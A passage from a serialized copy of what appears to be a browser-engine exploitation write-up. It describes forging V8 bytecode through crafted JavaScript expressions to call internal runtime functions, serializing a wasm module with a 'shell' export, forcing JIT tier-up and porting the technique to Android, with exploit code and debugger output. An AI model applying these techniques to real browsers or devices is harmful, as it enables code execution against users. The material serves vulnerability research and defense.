bug",{"type":22,"tag":118,"props":137544,"children":137545},{"style":125},[137546],{"type":28,"value":540},{"type":22,"tag":118,"props":137548,"children":137549},{"style":204},[137550],{"type":28,"value":135411},{"type":22,"tag":118,"props":137552,"children":137553},{"style":125},[137554],{"type":28,"value":231},{"type":22,"tag":118,"props":137556,"children":137557},{"style":204},[137558],{"type":28,"value":126738},{"type":22,"tag":118,"props":137560,"children":137561},{"style":125},[137562],{"type":28,"value":292},{"type":22,"tag":118,"props":137564,"children":137565},{"style":204},[137566],{"type":28,"value":126738},{"type":22,"tag":118,"props":137568,"children":137569},{"style":125},[137570],{"type":28,"value":682},{"type":22,"tag":118,"props":137572,"children":137573},{"class":120,"line":441},[137574,137579,137583,137587,137591,137595,137599,137603,137608,137612],{"type":22,"tag":118,"props":137575,"children":137576},{"style":204},[137577],{"type":28,"value":137578},"  result",{"type":22,"tag":118,"props":137580,"children":137581},{"style":210},[137582],{"type":28,"value":837},{"type":22,"tag":118,"props":137584,"children":137585},{"style":125},[137586],{"type":28,"value":842},{"type":22,"tag":118,"props":137588,"children":137589},{"style":1480},[137590],{"type":28,"value":34855},{"type":22,"tag":118,"props":137592,"children":137593},{"style":204},[137594],{"type":28,"value":137533},{"type":22,"tag":118,"props":137596,"children":137597},{"style":125},[137598],{"type":28,"value":292},{"type":22,"tag":118,"props":137600,"children":137601},{"style":532},[137602],{"type":28,"value":59506},{"type":22,"tag":118,"props":137604,"children":137605},{"style":125},[137606],{"type":28,"value":137607},"()).",{"type":22,"tag":118,"props":137609,"children":137610},{"style":204},[137611],{"type":28,"value":41093},{"type":22,"tag":118,"props":137613,"children":137614},{"style":125},[137615],{"type":28,"value":801},{"type":22,"tag":118,"props":137617,"children":137618},{"class":120,"line":475},[137619,137623,137628,137632,137636,137640,137644,137648,137652,137656],{"type":22,"tag":118,"props":137620,"children":137621},{"style":146},[137622],{"type":28,"value":38129},{"type":22,"tag":118,"props":137624,"children":137625},{"style":204},[137626],{"type":28,"value":137627}," wasm_instance",{"type":22,"tag":118,"props":137629,"children":137630},{"style":210},[137631],{"type":28,"value":837},{"type":22,"tag":118,"props":137633,"children":137634},{"style":146},[137635],{"type":28,"value":3442},{"type":22,"tag":118,"props":137637,"children":137638},{"style":204},[137639],{"type":28,"value":135394},{"type":22,"tag":118,"props":137641,"children":137642},{"style":125},[137643],{"type":28,"value":292},{"type":22,"tag":118,"props":137645,"children":137646},{"style":532},[137647],{"type":28,"value":135448},{"type":22,"tag":118,"props":137649,"children":137650},{"style":125},[137651],{"type":28,"value":540},{"type":22,"tag":118,"props":137653,"children":137654},{"style":204},[137655],{"type":28,"value":11081},{"type":22,"tag":118,"props":137657,"children":137658},{"style":125},[137659],{"type":28,"value":682},{"type":22,"tag":118,"props":137661,"children":137662},{"class":120,"line":484},[137663,137667,137671,137675,137679,137683,137687,137691,137695],{"type":22,"tag":118,"props":137664,"children":137665},{"style":146},[137666],{"type":28,"value":38129},{"type":22,"tag":118,"props":137668,"children":137669},{"style":204},[137670],{"type":28,"value":34910},{"type":22,"tag":118,"props":137672,"children":137673},{"style":210},[137674],{"type":28,"value":837},{"type":22,"tag":118,"props":137676,"children":137677},{"style":204},[137678],{"type":28,"value":137627},{"type":22,"tag":118,"props":137680,"children":137681},{"style":125},[137682],{"type":28,"value":292},{"type":22,"tag":118,"props":137684,"children":137685},{"style":204},[137686],{"type":28,"value":39827},{"type":22,"tag":118,"props":137688,"children":137689},{"style":125},[137690],{"type":28,"value":292},{"type":22,"tag":118,"props":137692,"children":137693},{"style":204},[137694],{"type":28,"value":135497},{"type":22,"tag":118,"props":137696,"children":137697},{"style":125},[137698],{"type":28,"value":801},{"type":22,"tag":118,"props":137700,"children":137701},{"class":120,"line":492},[137702,137707],{"type":22,"tag":118,"props":137703,"children":137704},{"style":532},[137705],{"type":28,"value":137706},"  f",{"type":22,"tag":118,"props":137708,"children":137709},{"style":125},[137710],{"type":28,"value":1098},{"type":22,"tag":118,"props":137712,"children":137713},{"class":120,"line":501},[137714],{"type":22,"tag":118,"props":137715,"children":137716},{"style":125},[137717],{"type":28,"value":103581},{"type":22,"tag":31,"props":137719,"children":137720},{},[137721],{"type":28,"value":137722},"Running this in a debugger shows the expected breakpoint:",{"type":22,"tag":107,"props":137724,"children":137726},{"code":137725},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n   0x2ae46bfc183c                  add    BYTE PTR [rax], al\n   0x2ae46bfc183e                  add    BYTE PTR [rax], al\n   0x2ae46bfc1840                  int3\n → 0x2ae46bfc1841                  mov    rbp, rsp\n",[137727],{"type":22,"tag":114,"props":137728,"children":137729},{"__ignoreMap":7},[137730],{"type":28,"value":137725},{"type":22,"tag":1289,"props":137732,"children":137734},{"id":137733},"porting-to-android",[137735],{"type":28,"value":137736},"Porting to Android",{"type":22,"tag":31,"props":137738,"children":137739},{},[137740,137742,137747,137749,137754,137756,137761,137763,137769],{"type":28,"value":137741},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":22,"tag":114,"props":137743,"children":137745},{"className":137744},[],[137746],{"type":28,"value":134526},{"type":28,"value":137748}," fails. We cross-compiled ",{"type":22,"tag":114,"props":137750,"children":137752},{"className":137751},[],[137753],{"type":28,"value":133685},{"type":28,"value":137755}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":22,"tag":114,"props":137757,"children":137759},{"className":137758},[],[137760],{"type":28,"value":134526},{"type":28,"value":137762}," returned ",{"type":22,"tag":114,"props":137764,"children":137766},{"className":137765},[],[137767],{"type":28,"value":137768},"undefined",{"type":28,"value":292},{"type":22,"tag":31,"props":137771,"children":137772},{},[137773,137775,137780,137782,137787],{"type":28,"value":137774},"Instead, we modified the bytecode to call ",{"type":22,"tag":114,"props":137776,"children":137778},{"className":137777},[],[137779],{"type":28,"value":134552},{"type":28,"value":137781}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":22,"tag":114,"props":137783,"children":137785},{"className":137784},[],[137786],{"type":28,"value":134526},{"type":28,"value":292},{"type":22,"tag":107,"props":137789,"children":137791},{"code":137790,"language":37556,"meta":7,"className":37554,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n  a1 + 0x03027a6c;\n  throw 0x393e71a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[137792],{"type":22,"tag":114,"props":137793,"children":137794},{"__ignoreMap":7},[137795,137806,137850,137870,137886,137909,137936,137951],{"type":22,"tag":118,"props":137796,"children":137797},{"class":120,"line":121},[137798,137802],{"type":22,"tag":118,"props":137799,"children":137800},{"style":1480},[137801],{"type":28,"value":50271},{"type":22,"tag":118,"props":137803,"children":137804},{"style":125},[137805],{"type":28,"value":1474},{"type":22,"tag":118,"props":137807,"children":137808},{"class":120,"line":142},[137809,137813,137817,137821,137825,137829,137833,137838,137842,137846],{"type":22,"tag":118,"props":137810,"children":137811},{"style":204},[137812],{"type":28,"value":134793},{"type":22,"tag":118,"props":137814,"children":137815},{"style":125},[137816],{"type":28,"value":78214},{"type":22,"tag":118,"props":137818,"children":137819},{"style":1866},[137820],{"type":28,"value":134802},{"type":22,"tag":118,"props":137822,"children":137823},{"style":125},[137824],{"type":28,"value":292},{"type":22,"tag":118,"props":137826,"children":137827},{"style":532},[137828],{"type":28,"value":134811},{"type":22,"tag":118,"props":137830,"children":137831},{"style":125},[137832],{"type":28,"value":540},{"type":22,"tag":118,"props":137834,"children":137835},{"style":674},[137836],{"type":28,"value":137837},"0x059301",{"type":22,"tag":118,"props":137839,"children":137840},{"style":210},[137841],{"type":28,"value":53196},{"type":22,"tag":118,"props":137843,"children":137844},{"style":674},[137845],{"type":28,"value":6535},{"type":22,"tag":118,"props":137847,"children":137848},{"style":125},[137849],{"type":28,"value":134833},{"type":22,"tag":118,"props":137851,"children":137852},{"class":120,"line":177},[137853,137857,137861,137866],{"type":22,"tag":118,"props":137854,"children":137855},{"style":204},[137856],{"type":28,"value":134841},{"type":22,"tag":118,"props":137858,"children":137859},{"style":210},[137860],{"type":28,"value":10905},{"type":22,"tag":118,"props":137862,"children":137863},{"style":674},[137864],{"type":28,"value":137865}," 0x03027a6c",{"type":22,"tag":118,"props":137867,"children":137868},{"style":125},[137869],{"type":28,"value":801},{"type":22,"tag":118,"props":137871,"children":137872},{"class":120,"line":195},[137873,137877,137882],{"type":22,"tag":118,"props":137874,"children":137875},{"style":1480},[137876],{"type":28,"value":37142},{"type":22,"tag":118,"props":137878,"children":137879},{"style":674},[137880],{"type":28,"value":137881}," 0x393e71a",{"type":22,"tag":118,"props":137883,"children":137884},{"style":125},[137885],{"type":28,"value":801},{"type":22,"tag":118,"props":137887,"children":137888},{"class":120,"line":244},[137889,137893,137897,137901,137905],{"type":22,"tag":118,"props":137890,"children":137891},{"style":125},[137892],{"type":28,"value":48814},{"type":22,"tag":118,"props":137894,"children":137895},{"style":1480},[137896],{"type":28,"value":50351},{"type":22,"tag":118,"props":137898,"children":137899},{"style":125},[137900],{"type":28,"value":842},{"type":22,"tag":118,"props":137902,"children":137903},{"style":204},[137904],{"type":28,"value":53395},{"type":22,"tag":118,"props":137906,"children":137907},{"style":125},[137908],{"type":28,"value":16783},{"type":22,"tag":118,"props":137910,"children":137911},{"class":120,"line":253},[137912,137916,137920,137924,137928,137932],{"type":22,"tag":118,"props":137913,"children":137914},{"style":204},[137915],{"type":28,"value":103540},{"type":22,"tag":118,"props":137917,"children":137918},{"style":125},[137919],{"type":28,"value":292},{"type":22,"tag":118,"props":137921,"children":137922},{"style":532},[137923],{"type":28,"value":103549},{"type":22,"tag":118,"props":137925,"children":137926},{"style":125},[137927],{"type":28,"value":540},{"type":22,"tag":118,"props":137929,"children":137930},{"style":1866},[137931],{"type":28,"value":134917},{"type":22,"tag":118,"props":137933,"children":137934},{"style":125},[137935],{"type":28,"value":682},{"type":22,"tag":118,"props":137937,"children":137938},{"class":120,"line":263},[137939,137943,137947],{"type":22,"tag":118,"props":137940,"children":137941},{"style":1480},[137942],{"type":28,"value":134929},{"type":22,"tag":118,"props":137944,"children":137945},{"style":204},[137946],{"type":28,"value":134934},{"type":22,"tag":118,"props":137948,"children":137949},{"style":125},[137950],{"type":28,"value":801},{"type":22,"tag":118,"props":137952,"children":137953},{"class":120,"line":318},[137954],{"type":22,"tag":118,"props":137955,"children":137956},{"style":125},[137957],{"type":28,"value":481},{"type":22,"tag":31,"props":137959,"children":137960},{},[137961,137963,137969,137971,137977,137979,137985,137987,137992,137994,138000,138002,138007,138008,138014],{"type":28,"value":137962},"Here, ",{"type":22,"tag":114,"props":137964,"children":137966},{"className":137965},[],[137967],{"type":28,"value":137968},"a1 + 0x03027a6c",{"type":28,"value":137970}," generates the bytes ",{"type":22,"tag":114,"props":137972,"children":137974},{"className":137973},[],[137975],{"type":28,"value":137976},"01 4b 6c 7a 02 03",{"type":28,"value":137978},", where ",{"type":22,"tag":114,"props":137980,"children":137982},{"className":137981},[],[137983],{"type":28,"value":137984},"0x6c",{"type":28,"value":137986}," is the ",{"type":22,"tag":114,"props":137988,"children":137990},{"className":137989},[],[137991],{"type":28,"value":134510},{"type":28,"value":137993}," opcode, ",{"type":22,"tag":114,"props":137995,"children":137997},{"className":137996},[],[137998],{"type":28,"value":137999},"0x027a",{"type":28,"value":138001}," is the function ID of ",{"type":22,"tag":114,"props":138003,"children":138005},{"className":138004},[],[138006],{"type":28,"value":134552},{"type":28,"value":8497},{"type":22,"tag":114,"props":138009,"children":138011},{"className":138010},[],[138012],{"type":28,"value":138013},"0x03",{"type":28,"value":138015}," is the register index holding its first argument.",{"type":22,"tag":31,"props":138017,"children":138018},{},[138019,138021,138026,138027,138032,138034,138039],{"type":28,"value":138020},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":22,"tag":114,"props":138022,"children":138024},{"className":138023},[],[138025],{"type":28,"value":134552},{"type":28,"value":12991},{"type":22,"tag":114,"props":138028,"children":138030},{"className":138029},[],[138031],{"type":28,"value":135520},{"type":28,"value":138033},". To avoid patching the bytecode again to invoke ",{"type":22,"tag":114,"props":138035,"children":138037},{"className":138036},[],[138038],{"type":28,"value":135520},{"type":28,"value":138040},", we can force Turbofan to compile the target function like this:",{"type":22,"tag":107,"props":138042,"children":138044},{"code":138043,"language":37556,"meta":7,"className":37554,"style":7},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n  func();\n}\n",[138045],{"type":22,"tag":114,"props":138046,"children":138047},{"__ignoreMap":7},[138048,138056,138116,138128],{"type":22,"tag":118,"props":138049,"children":138050},{"class":120,"line":121},[138051],{"type":22,"tag":118,"props":138052,"children":138053},{"style":257},[138054],{"type":28,"value":138055},"// %WasmTierUpFunction(func);\n",{"type":22,"tag":118,"props":138057,"children":138058},{"class":120,"line":142},[138059,138063,138067,138071,138075,138079,138083,138087,138091,138095,138100,138104,138108,138112],{"type":22,"tag":118,"props":138060,"children":138061},{"style":1480},[138062],{"type":28,"value":5411},{"type":22,"tag":118,"props":138064,"children":138065},{"style":125},[138066],{"type":28,"value":842},{"type":22,"tag":118,"props":138068,"children":138069},{"style":146},[138070],{"type":28,"value":3149},{"type":22,"tag":118,"props":138072,"children":138073},{"style":204},[138074],{"type":28,"value":5416},{"type":22,"tag":118,"props":138076,"children":138077},{"style":210},[138078],{"type":28,"value":837},{"type":22,"tag":118,"props":138080,"children":138081},{"style":674},[138082],{"type":28,"value":5074},{"type":22,"tag":118,"props":138084,"children":138085},{"style":125},[138086],{"type":28,"value":19191},{"type":22,"tag":118,"props":138088,"children":138089},{"style":204},[138090],{"type":28,"value":3613},{"type":22,"tag":118,"props":138092,"children":138093},{"style":210},[138094],{"type":28,"value":2197},{"type":22,"tag":118,"props":138096,"children":138097},{"style":674},[138098],{"type":28,"value":138099}," 0x100000",{"type":22,"tag":118,"props":138101,"children":138102},{"style":125},[138103],{"type":28,"value":19191},{"type":22,"tag":118,"props":138105,"children":138106},{"style":204},[138107],{"type":28,"value":3613},{"type":22,"tag":118,"props":138109,"children":138110},{"style":210},[138111],{"type":28,"value":53210},{"type":22,"tag":118,"props":138113,"children":138114},{"style":125},[138115],{"type":28,"value":16783},{"type":22,"tag":118,"props":138117,"children":138118},{"class":120,"line":177},[138119,138124],{"type":22,"tag":118,"props":138120,"children":138121},{"style":532},[138122],{"type":28,"value":138123},"  func",{"type":22,"tag":118,"props":138125,"children":138126},{"style":125},[138127],{"type":28,"value":1098},{"type":22,"tag":118,"props":138129,"children":138130},{"class":120,"line":195},[138131],{"type":22,"tag":118,"props":138132,"children":138133},{"style":125},[138134],{"type":28,"value":481},{"type":22,"tag":31,"props":138136,"children":138137},{},[138138],{"type":28,"value":138139},"Finally, running this code on the device:",{"type":22,"tag":107,"props":138141,"children":138143},{"code":138142,"language":37556,"meta":7,"className":37554,"style":7},"(async () => {\n  var wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  var mod = new WebAssembly.Module(wasm_code);\n  var inst = new WebAssembly.Instance(mod);\n  var func = inst.exports.shell;\n\n  // %WasmTierUpFunction(func);\n  for (let i = 0; i \u003C 0x100000; i++) {\n    func();\n  }\n\n  let r = bug(mod);\n  result = (await r.next()).value;\n  console.log(result);\n\n  let result_bytes = new Uint8Array(result);\n  console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[138144],{"type":22,"tag":114,"props":138145,"children":138146},{"__ignoreMap":7},[138147,138170,138198,138417,138484,138491,138534,138577,138616,138623,138631,138691,138703,138710,138717,138748,138791,138818,138825,138861,138924],{"type":22,"tag":118,"props":138148,"children":138149},{"class":120,"line":121},[138150,138154,138158,138162,138166],{"type":22,"tag":118,"props":138151,"children":138152},{"style":125},[138153],{"type":28,"value":540},{"type":22,"tag":118,"props":138155,"children":138156},{"style":146},[138157],{"type":28,"value":38086},{"type":22,"tag":118,"props":138159,"children":138160},{"style":125},[138161],{"type":28,"value":41638},{"type":22,"tag":118,"props":138163,"children":138164},{"style":146},[138165],{"type":28,"value":1616},{"type":22,"tag":118,"props":138167,"children":138168},{"style":125},[138169],{"type":28,"value":1474},{"type":22,"tag":118,"props":138171,"children":138172},{"class":120,"line":142},[138173,138178,138182,138186,138190,138194],{"type":22,"tag":118,"props":138174,"children":138175},{"style":146},[138176],{"type":28,"value":138177},"  var",{"type":22,"tag":118,"props":138179,"children":138180},{"style":204},[138181],{"type":28,"value":135050},{"type":22,"tag":118,"props":138183,"children":138184},{"style":210},[138185],{"type":28,"value":837},{"type":22,"tag":118,"props":138187,"children":138188},{"style":146},[138189],{"type":28,"value":3442},{"type":22,"tag":118,"props":138191,"children":138192},{"style":532},[138193],{"type":28,"value":135063},{"type":22,"tag":118,"props":138195,"children":138196},{"style":125},[138197],{"type":28,"value":135068},{"type":22,"tag":118,"props":138199,"children":138200},{"class":120,"line":177},[138201,138205,138209,138213,138217,138221,138225,138229,138233,138237,138241,138245,138249,138253,138257,138261,138265,138269,138273,138277,138281,138285,138289,138293,138297,138301,138305,138309,138313,138317,138321,138325,138329,138333,138337,138341,138345,138349,138353,138357,138361,138365,138369,138373,138377,138381,138385,138389,138393,138397,138401,138405,138409,138413],{"type":22,"tag":118,"props":138202,"children":138203},{"style":674},[138204],{"type":28,"value":135793},{"type":22,"tag":118,"props":138206,"children":138207},{"style":125},[138208],{"type":28,"value":231},{"type":22,"tag":118,"props":138210,"children":138211},{"style":674},[138212],{"type":28,"value":135085},{"type":22,"tag":118,"props":138214,"children":138215},{"style":125},[138216],{"type":28,"value":231},{"type":22,"tag":118,"props":138218,"children":138219},{"style":674},[138220],{"type":28,"value":135094},{"type":22,"tag":118,"props":138222,"children":138223},{"style":125},[138224],{"type":28,"value":231},{"type":22,"tag":118,"props":138226,"children":138227},{"style":674},[138228],{"type":28,"value":135103},{"type":22,"tag":118,"props":138230,"children":138231},{"style":125},[138232],{"type":28,"value":231},{"type":22,"tag":118,"props":138234,"children":138235},{"style":674},[138236],{"type":28,"value":6026},{"type":22,"tag":118,"props":138238,"children":138239},{"style":125},[138240],{"type":28,"value":231},{"type":22,"tag":118,"props":138242,"children":138243},{"style":674},[138244],{"type":28,"value":6036},{"type":22,"tag":118,"props":138246,"children":138247},{"style":125},[138248],{"type":28,"value":231},{"type":22,"tag":118,"props":138250,"children":138251},{"style":674},[138252],{"type":28,"value":6036},{"type":22,"tag":118,"props":138254,"children":138255},{"style":125},[138256],{"type":28,"value":231},{"type":22,"tag":118,"props":138258,"children":138259},{"style":674},[138260],{"type":28,"value":6036},{"type":22,"tag":118,"props":138262,"children":138263},{"style":125},[138264],{"type":28,"value":231},{"type":22,"tag":118,"props":138266,"children":138267},{"style":674},[138268],{"type":28,"value":6026},{"type":22,"tag":118,"props":138270,"children":138271},{"style":125},[138272],{"type":28,"value":231},{"type":22,"tag":118,"props":138274,"children":138275},{"style":674},[138276],{"type":28,"value":19493},{"type":22,"tag":118,"props":138278,"children":138279},{"style":125},[138280],{"type":28,"value":231},{"type":22,"tag":118,"props":138282,"children":138283},{"style":674},[138284],{"type":28,"value":6026},{"type":22,"tag":118,"props":138286,"children":138287},{"style":125},[138288],{"type":28,"value":231},{"type":22,"tag":118,"props":138290,"children":138291},{"style":674},[138292],{"type":28,"value":135168},{"type":22,"tag":118,"props":138294,"children":138295},{"style":125},[138296],{"type":28,"value":231},{"type":22,"tag":118,"props":138298,"children":138299},{"style":674},[138300],{"type":28,"value":6036},{"type":22,"tag":118,"props":138302,"children":138303},{"style":125},[138304],{"type":28,"value":231},{"type":22,"tag":118,"props":138306,"children":138307},{"style":674},[138308],{"type":28,"value":6036},{"type":22,"tag":118,"props":138310,"children":138311},{"style":125},[138312],{"type":28,"value":231},{"type":22,"tag":118,"props":138314,"children":138315},{"style":674},[138316],{"type":28,"value":19260},{"type":22,"tag":118,"props":138318,"children":138319},{"style":125},[138320],{"type":28,"value":231},{"type":22,"tag":118,"props":138322,"children":138323},{"style":674},[138324],{"type":28,"value":5147},{"type":22,"tag":118,"props":138326,"children":138327},{"style":125},[138328],{"type":28,"value":231},{"type":22,"tag":118,"props":138330,"children":138331},{"style":674},[138332],{"type":28,"value":6026},{"type":22,"tag":118,"props":138334,"children":138335},{"style":125},[138336],{"type":28,"value":231},{"type":22,"tag":118,"props":138338,"children":138339},{"style":674},[138340],{"type":28,"value":6036},{"type":22,"tag":118,"props":138342,"children":138343},{"style":125},[138344],{"type":28,"value":231},{"type":22,"tag":118,"props":138346,"children":138347},{"style":674},[138348],{"type":28,"value":56612},{"type":22,"tag":118,"props":138350,"children":138351},{"style":125},[138352],{"type":28,"value":231},{"type":22,"tag":118,"props":138354,"children":138355},{"style":674},[138356],{"type":28,"value":57826},{"type":22,"tag":118,"props":138358,"children":138359},{"style":125},[138360],{"type":28,"value":231},{"type":22,"tag":118,"props":138362,"children":138363},{"style":674},[138364],{"type":28,"value":6026},{"type":22,"tag":118,"props":138366,"children":138367},{"style":125},[138368],{"type":28,"value":231},{"type":22,"tag":118,"props":138370,"children":138371},{"style":674},[138372],{"type":28,"value":20074},{"type":22,"tag":118,"props":138374,"children":138375},{"style":125},[138376],{"type":28,"value":231},{"type":22,"tag":118,"props":138378,"children":138379},{"style":674},[138380],{"type":28,"value":135094},{"type":22,"tag":118,"props":138382,"children":138383},{"style":125},[138384],{"type":28,"value":231},{"type":22,"tag":118,"props":138386,"children":138387},{"style":674},[138388],{"type":28,"value":135265},{"type":22,"tag":118,"props":138390,"children":138391},{"style":125},[138392],{"type":28,"value":231},{"type":22,"tag":118,"props":138394,"children":138395},{"style":674},[138396],{"type":28,"value":135274},{"type":22,"tag":118,"props":138398,"children":138399},{"style":125},[138400],{"type":28,"value":231},{"type":22,"tag":118,"props":138402,"children":138403},{"style":674},[138404],{"type":28,"value":135283},{"type":22,"tag":118,"props":138406,"children":138407},{"style":125},[138408],{"type":28,"value":231},{"type":22,"tag":118,"props":138410,"children":138411},{"style":674},[138412],{"type":28,"value":135283},{"type":22,"tag":118,"props":138414,"children":138415},{"style":125},[138416],{"type":28,"value":782},{"type":22,"tag":118,"props":138418,"children":138419},{"class":120,"line":195},[138420,138424,138428,138432,138436,138440,138444,138448,138452,138456,138460,138464,138468,138472,138476,138480],{"type":22,"tag":118,"props":138421,"children":138422},{"style":674},[138423],{"type":28,"value":135793},{"type":22,"tag":118,"props":138425,"children":138426},{"style":125},[138427],{"type":28,"value":231},{"type":22,"tag":118,"props":138429,"children":138430},{"style":674},[138431],{"type":28,"value":6036},{"type":22,"tag":118,"props":138433,"children":138434},{"style":125},[138435],{"type":28,"value":231},{"type":22,"tag":118,"props":138437,"children":138438},{"style":674},[138439],{"type":28,"value":90849},{"type":22,"tag":118,"props":138441,"children":138442},{"style":125},[138443],{"type":28,"value":231},{"type":22,"tag":118,"props":138445,"children":138446},{"style":674},[138447],{"type":28,"value":19493},{"type":22,"tag":118,"props":138449,"children":138450},{"style":125},[138451],{"type":28,"value":231},{"type":22,"tag":118,"props":138453,"children":138454},{"style":674},[138455],{"type":28,"value":6026},{"type":22,"tag":118,"props":138457,"children":138458},{"style":125},[138459],{"type":28,"value":231},{"type":22,"tag":118,"props":138461,"children":138462},{"style":674},[138463],{"type":28,"value":5147},{"type":22,"tag":118,"props":138465,"children":138466},{"style":125},[138467],{"type":28,"value":231},{"type":22,"tag":118,"props":138469,"children":138470},{"style":674},[138471],{"type":28,"value":6036},{"type":22,"tag":118,"props":138473,"children":138474},{"style":125},[138475],{"type":28,"value":231},{"type":22,"tag":118,"props":138477,"children":138478},{"style":674},[138479],{"type":28,"value":135359},{"type":22,"tag":118,"props":138481,"children":138482},{"style":125},[138483],{"type":28,"value":782},{"type":22,"tag":118,"props":138485,"children":138486},{"class":120,"line":244},[138487],{"type":22,"tag":118,"props":138488,"children":138489},{"style":125},[138490],{"type":28,"value":136080},{"type":22,"tag":118,"props":138492,"children":138493},{"class":120,"line":253},[138494,138498,138502,138506,138510,138514,138518,138522,138526,138530],{"type":22,"tag":118,"props":138495,"children":138496},{"style":146},[138497],{"type":28,"value":138177},{"type":22,"tag":118,"props":138499,"children":138500},{"style":204},[138501],{"type":28,"value":511},{"type":22,"tag":118,"props":138503,"children":138504},{"style":210},[138505],{"type":28,"value":837},{"type":22,"tag":118,"props":138507,"children":138508},{"style":146},[138509],{"type":28,"value":3442},{"type":22,"tag":118,"props":138511,"children":138512},{"style":204},[138513],{"type":28,"value":135394},{"type":22,"tag":118,"props":138515,"children":138516},{"style":125},[138517],{"type":28,"value":292},{"type":22,"tag":118,"props":138519,"children":138520},{"style":532},[138521],{"type":28,"value":87515},{"type":22,"tag":118,"props":138523,"children":138524},{"style":125},[138525],{"type":28,"value":540},{"type":22,"tag":118,"props":138527,"children":138528},{"style":204},[138529],{"type":28,"value":135411},{"type":22,"tag":118,"props":138531,"children":138532},{"style":125},[138533],{"type":28,"value":682},{"type":22,"tag":118,"props":138535,"children":138536},{"class":120,"line":263},[138537,138541,138545,138549,138553,138557,138561,138565,138569,138573],{"type":22,"tag":118,"props":138538,"children":138539},{"style":146},[138540],{"type":28,"value":138177},{"type":22,"tag":118,"props":138542,"children":138543},{"style":204},[138544],{"type":28,"value":135427},{"type":22,"tag":118,"props":138546,"children":138547},{"style":210},[138548],{"type":28,"value":837},{"type":22,"tag":118,"props":138550,"children":138551},{"style":146},[138552],{"type":28,"value":3442},{"type":22,"tag":118,"props":138554,"children":138555},{"style":204},[138556],{"type":28,"value":135394},{"type":22,"tag":118,"props":138558,"children":138559},{"style":125},[138560],{"type":28,"value":292},{"type":22,"tag":118,"props":138562,"children":138563},{"style":532},[138564],{"type":28,"value":135448},{"type":22,"tag":118,"props":138566,"children":138567},{"style":125},[138568],{"type":28,"value":540},{"type":22,"tag":118,"props":138570,"children":138571},{"style":204},[138572],{"type":28,"value":135457},{"type":22,"tag":118,"props":138574,"children":138575},{"style":125},[138576],{"type":28,"value":682},{"type":22,"tag":118,"props":138578,"children":138579},{"class":120,"line":318},[138580,138584,138588,138592,138596,138600,138604,138608,138612],{"type":22,"tag":118,"props":138581,"children":138582},{"style":146},[138583],{"type":28,"value":138177},{"type":22,"tag":118,"props":138585,"children":138586},{"style":204},[138587],{"type":28,"value":81605},{"type":22,"tag":118,"props":138589,"children":138590},{"style":210},[138591],{"type":28,"value":837},{"type":22,"tag":118,"props":138593,"children":138594},{"style":204},[138595],{"type":28,"value":135427},{"type":22,"tag":118,"props":138597,"children":138598},{"style":125},[138599],{"type":28,"value":292},{"type":22,"tag":118,"props":138601,"children":138602},{"style":204},[138603],{"type":28,"value":39827},{"type":22,"tag":118,"props":138605,"children":138606},{"style":125},[138607],{"type":28,"value":292},{"type":22,"tag":118,"props":138609,"children":138610},{"style":204},[138611],{"type":28,"value":135497},{"type":22,"tag":118,"props":138613,"children":138614},{"style":125},[138615],{"type":28,"value":801},{"type":22,"tag":118,"props":138617,"children":138618},{"class":120,"line":351},[138619],{"type":22,"tag":118,"props":138620,"children":138621},{"emptyLinePlaceholder":15},[138622],{"type":28,"value":250},{"type":22,"tag":118,"props":138624,"children":138625},{"class":120,"line":359},[138626],{"type":22,"tag":118,"props":138627,"children":138628},{"style":257},[138629],{"type":28,"value":138630},"  // %WasmTierUpFunction(func);\n",{"type":22,"tag":118,"props":138632,"children":138633},{"class":120,"line":368},[138634,138639,138643,138647,138651,138655,138659,138663,138667,138671,138675,138679,138683,138687],{"type":22,"tag":118,"props":138635,"children":138636},{"style":1480},[138637],{"type":28,"value":138638},"  for",{"type":22,"tag":118,"props":138640,"children":138641},{"style":125},[138642],{"type":28,"value":842},{"type":22,"tag":118,"props":138644,"children":138645},{"style":146},[138646],{"type":28,"value":3149},{"type":22,"tag":118,"props":138648,"children":138649},{"style":204},[138650],{"type":28,"value":5416},{"type":22,"tag":118,"props":138652,"children":138653},{"style":210},[138654],{"type":28,"value":837},{"type":22,"tag":118,"props":138656,"children":138657},{"style":674},[138658],{"type":28,"value":5074},{"type":22,"tag":118,"props":138660,"children":138661},{"style":125},[138662],{"type":28,"value":19191},{"type":22,"tag":118,"props":138664,"children":138665},{"style":204},[138666],{"type":28,"value":3613},{"type":22,"tag":118,"props":138668,"children":138669},{"style":210},[138670],{"type":28,"value":2197},{"type":22,"tag":118,"props":138672,"children":138673},{"style":674},[138674],{"type":28,"value":138099},{"type":22,"tag":118,"props":138676,"children":138677},{"style":125},[138678],{"type":28,"value":19191},{"type":22,"tag":118,"props":138680,"children":138681},{"style":204},[138682],{"type":28,"value":3613},{"type":22,"tag":118,"props":138684,"children":138685},{"style":210},[138686],{"type":28,"value":53210},{"type":22,"tag":118,"props":138688,"children":138689},{"style":125},[138690],{"type":28,"value":16783},{"type":22,"tag":118,"props":138692,"children":138693},{"class":120,"line":384},[138694,138699],{"type":22,"tag":118,"props":138695,"children":138696},{"style":532},[138697],{"type":28,"value":138698},"    